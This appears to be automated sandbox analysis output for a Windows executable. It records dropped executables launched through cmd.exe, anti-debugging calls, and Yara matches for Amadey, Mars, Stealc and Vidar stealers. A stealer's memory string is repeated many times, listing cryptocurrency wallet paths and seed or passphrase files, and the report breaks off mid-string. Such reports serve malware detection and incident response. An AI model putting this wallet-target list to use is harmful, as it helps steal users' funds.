Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00359972 mov eax, dword ptr fs:[00000030h]		9_2_00359972

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C34B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C34B66C
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C34B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C34B1F7

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HCAAEGIJKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C34B341 cpuid

0_2_6C34B341

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C3135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C3135A0

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.HIIEBAFCBK.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explortu.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2377175817.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4529146618.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2330410037.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3931226693.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2423428017.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.4488473362.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2689256533.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2729842906.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4582173269.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3890454750.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3332406854.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2374235761.0000000000C81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2383183776.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3292182479.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tAa6xNsucX.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tAa6xNsucX.exe PID: 6532, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 